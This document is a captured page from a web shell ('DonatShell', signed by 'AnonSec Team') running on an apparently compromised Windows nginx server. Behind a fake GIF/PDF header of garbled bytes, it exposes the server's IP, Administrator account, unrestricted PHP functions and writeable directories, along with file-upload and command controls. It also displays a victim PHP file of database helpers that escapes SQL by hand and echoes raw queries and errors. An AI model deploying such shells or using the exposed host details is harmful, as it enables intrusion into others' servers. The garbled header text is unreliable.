GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/functions_query.phpinc
<?
// common/functions_query.phpinc

// query_do($query)
// Perform the requested $query.
function query_do($query = '', $queryDatabase=false, $AbortOnError=true, $queryTrack=true) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	#$query = ''; // Test empty query.
	$_SESSION['query'] = $query;
	if ($query == '') {
		if ( !isset($_SESSION['PageHeaderLoaded']) || !$_SESSION['PageHeaderLoaded'] ) {
			$headTitle = __FILE__;
			$pageTitle = __FILE__;
			require('common/pageHeader.phpinc');
		}
?>
		<span class="error bold">There is a programming error.</span><br>
		<span class="error">The query was empty.</span>
		<span class="d_s_fl"><?=basename($_SESSION['file'])?>:<?=$_SESSION['line']?>.</span> <span class="d_s_fp"><?=$_SESSION['file']?></span><br>
		Please notify the website administrator <a href="mailto:<?=$_SESSION['websiteAdministratorEmail']?>"><?=$_SESSION['websiteAdministratorName']?></a> at <?=$_SESSION['websiteAdministratorEmail']?>.<br>
<?
		require('common/pageFooter.phpinc');
	}
	$_SESSION['qry'] = array();
	$debug_backtrace = debug_backtrace();
	$file = $debug_backtrace['0']['file'];
	$_SESSION['file'] = $file;
	$line = $debug_backtrace['0']['line'];
	$_SESSION['line'] = $line;
	if ($_SESSION['DEBUG_MYSQL']) {
		echo ' <span class="pv_fl">'.basename($file).': '.$line.'</span>'.": ".$query."<br>\n";
	}
	##if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_q">'.$query;
	if ( !$queryDatabase ) {
		$queryDatabase = $_SESSION['DATABASE']['database'];
	}
	$_SESSION['DATABASE_LINK'] = @mysqli_connect($_SESSION['DATABASE']['hostname'], $_SESSION['DATABASE']['username'], $_SESSION['DATABASE']['password'], $queryDatabase);
	#d_Var("\$_SESSION['DATABASE_LINK']",$_SESSION['DATABASE_LINK'],'d');
	if ( !$_SESSION['DATABASE_LINK'] ) {
		if ( !isset($_SESSION['PageHeaderLoaded']) || !$_SESSION['PageHeaderLoaded'] ) {
			$headTitle = __FILE__;
			$pageTitle = __FILE__;
			require('common/pageHeader.phpinc');
		}
?>
		<span class="error bold">There is a programming error.</span><br>
		<span class="error">Unable to contact the database server.</span>
		<span class="d_s_fl"><?=basename($_SESSION['file'])?>:<?=$_SESSION['line']?>.</span> <span class="d_s_fp"><?=$_SESSION['file']?></span><br>
		Please notify the website administrator <a href="mailto:<?=$_SESSION['websiteAdministratorEmail']?>"><?=$_SESSION['websiteAdministratorName']?></a> at <?=$_SESSION['websiteAdministratorEmail']?>.<br>
<?
		require('common/pageFooter.phpinc');
	}
	$result = mysqli_query($_SESSION['DATABASE_LINK'], $query);
	if ($result) {
		switch ( strtoupper(substr(ltrim($query),0,4)) ) { // switch on query type.
			case 'INSE': // INSERT
				$_SESSION['qry']['insertId'] = mysqli_insert_id($_SESSION['DATABASE_LINK']);
			case 'DELE': // DELETE
			case 'REPL': // REPLACE
			case 'UPDA': // UPDATE
				$_SESSION['qry']['count'] = mysqli_affected_rows($_SESSION['DATABASE_LINK']);
				#if ( stripos($query,'isReady') !== false ) d_Back(true);
			break;
			case 'SELE': // SELECT
			case 'SHOW':
				$_SESSION['qry']['count'] = mysqli_num_rows($result);
			break;
			default:
				$_SESSION['qry']['count'] = -1;
    	}
	} else {
		$_SESSION['qry']['count'] = -1;
		query_error($result);
	}
	return $result;
}

// query_error()
// Report a program query error.
function query_error($result) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	if ( !isset($_SESSION['PageHeaderLoaded']) || !$_SESSION['PageHeaderLoaded'] ) require('common/pageHeader.phpinc');
?>
	<span class="error bold">There is a programming error.</span><br>
	<span class="error">The following query caused an error:</span>
	<pre><?=
	$_SESSION['query']?></pre>
	<span class="error">File: <?=basename($_SESSION['file'])?>, line: <?=$_SESSION['line']?>.</span> <?=$_SESSION['file']?><br>
	Please notify the website administrator <a href="mailto:<?=$_SESSION['websiteAdministratorEmail']?>"><?=$_SESSION['websiteAdministratorName']?></a> at <?=$_SESSION['websiteAdministratorEmail']?>.<br>
	<span class="error bold">Error:</span> <?=mysqli_errno($_SESSION['DATABASE_LINK'])?>-<?=mysqli_error($_SESSION['DATABASE_LINK'])?><br>
<?
	setDebugOn();
	require('common/pageFooter.phpinc');
	##if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."()".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
}

// query_info($query, $queryDatabase, $AbortOnError, $queryTrack)
// Perform the requested single row query.
// Returns the row.
//         $query = The query to perform.
// $queryDatabase = The database to use. Default is $_SESSION['DATABASE']['Default'].
//  $AbortOnError = Abort if there is an error.
function query_info($query='', $queryDatabase=false, $AbortOnError=true, $queryTrack=true) {
  $backtrace = debug_backtrace(); // Get caller information.
  if ( strtoupper(substr(trim($query),0,6)) == 'SELECT' || strtoupper(substr(trim($query),0,4)) == 'SHOW' ) {
		$queryResult = query_do($query, $queryDatabase, $AbortOnError, false);
		if ( $_SESSION['qry']['count'] == 1 ) {
      // One row returned. Return the row.
      mysqli_data_seek($queryResult,0);
			$query_Info = mysqli_fetch_assoc($queryResult);
    } else {
      // Zero or multiple rows returned. Return false.
      $query_Info =  array();
    }
  } else {
    // Not a SELECT or SHOW query.
    $query_Info = array();
  }
  return $query_Info;
}

// query_safe($str) {
// Returns a query safe string. Similar to mysqli_real_escape_string without the database call.
// $str = The string to be converted.
function query_safe($str) {
  // Replace     backslash, null, newline, linefeed, ctrl-Z, single-quote, double-quote.
  $search= array('\\',      "\0", "\n",    "\r",     "\x1a", "'",          '"' );
  $replace=array('\\\\',    "\\0","\\\n",  '\\r',    '\\Z',  "\'",         '\"');
  return str_replace($search,$replace,$str);
}

// query_to_array($result, $field='')
// Returns an array from a query result.
// $result = The query result to use to build the array.
// $field =  The field in the query to use to build the array.
function query_to_array($result, $field='') {
  $resultArray = array();
  $index = 0;
  #if (query__num_rows($result)) {
    mysqli_data_seek($result,0);
		#query_seek($result, 0);
    if ($field == '') {
      #while ($row = query_row($result))
      while ($row = mysqli_fetch_assoc($result)) {
        foreach ($row as $value) {
          $index++;
          $resultArray[$index] = $value;
        }
      }
    } else {
      #while ($row = query_row($result))
      while ($row = mysqli_fetch_assoc($result)) {
        $index++;
        $resultArray[$index] = $row[$field];
      }
    }
  #}
  // function TRACK
  return $resultArray;
}

// query_to_list($result,$field,$addNull)
// Returns a comma seperated list from a query result.
// $result = The query result to use to build the list. 
// $addNull = true to include null or empty values. Default is false.
// $defaultValue = the default value to use for null or empty values. Default = '';
function query_to_list($result, $field='', $addNull=false, $defaultValue='') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
  $resultList = '';
	#echo "\$result=",$result,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	#echo "mysqli_num_rows($result)=",mysqli_num_rows($result),": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	if (mysqli_num_rows($result)) {
		mysqli_data_seek($result, 0);
		if ($field == '') {
			while ($row = mysqli_fetch_assoc($result)) {
				#echo "\$row="; print_r($row); echo ": ",basename(__FILE__),": ",__LINE__,"<br>\n";
				foreach ($row as $value) {
					if ($value != '' || $addNull) if ($value != '' ) { $resultList .= ','.$value; } else { $resultList .= ','.$defaultValue; }
				}
			}
		} else {
			while ($row = mysqli_fetch_assoc($result)) {
				if ($row[$field] != '' || $addNull) if ($row[$field] != '' ) { $resultList .= ','.$row[$field]; } else { $resultList .= ','.$defaultValue; }
			}
		}
	}
	$resultList = substr($resultList,1);
	#echo "\$resultList=",$resultList,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	##if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($result)=$resultList".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $resultList;
}

// query_row($result, $row, $queryDatabase)
// Moves the internal row pointer of the result to the specified row number.
// $result = 
function query_row($result, $arg1=false, $arg2=false ) {
	$queryDatabase = false;
	$queryRow = NULL;
	if ( $arg1 !== false || $arg2 !== false ) { // Was a row or database included?
		// Yes, detect $queryRow and $queryDatabase values.
		if ( $arg1 !== false ) { // Is there an arg1?
			// Yes, setup row or database based on value type.
			if ( is_numeric($arg1) ) { $queryRow = $arg1; } else { $queryDatabase = $arg1; }
		}
		if ( $arg2 !== false ) { // Is there an arg2?
			// Yes, setup row or database based on value type.
			if ( is_numeric($arg2) ) { $queryRow = $arg2; } else { $queryDatabase = $arg2; }
		}
	} // Was a row or database included?
	//query__database($queryDatabase);
	if ( $queryRow !== NULL ) query_seek($result, $queryRow, $queryDatabase);
	$query_row = mysqli_fetch_assoc($result);
	return $query_row;
} // END query_row.

function query_seek($result) {
	mysqli_data_seek($result, 0);
}
?>

Anon7 - 2022
AnonSec Team